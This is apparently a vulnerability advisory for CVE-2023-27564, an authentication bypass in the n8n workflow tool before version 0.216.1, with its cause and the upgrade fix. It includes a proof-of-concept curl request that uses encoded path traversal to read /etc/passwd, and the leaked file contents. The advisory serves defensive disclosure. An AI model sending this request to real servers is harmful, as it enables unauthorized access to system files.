Authentication Bypass Affecting n8n package, versions <0.216.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.13% (50th
percentile)
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Test your applications- Snyk ID SNYK-JS-N8N-5518108
- published 11 May 2023
- disclosed 11 May 2023
- credit Synacktiv team
Introduced: 11 May 2023
CVE-2023-27564 Open this link in a new tabHow to fix?
Upgrade n8n to version 0.216.1 or higher.
Overview
n8n is a n8n Workflow Automation Tool
Affected versions of this package are vulnerable to Authentication Bypass due to loose condition in auth.ts, which allows any user to send requests to an endpoint as long as request includes .svg.
Exploiting this vulnerability might be escalated to directory traversal.
PoC
$ curl -ksi 'https://redacted.com/rest/data/filesystem:..%2F..%2F..%2F..%2F..%2F..%2F..
%2F..%2F..%2Fetc%2Fpasswd:.svg'
HTTP/1.1 200 OK
[...]
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
[...]
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh
References
CVSS Scores
version 3.1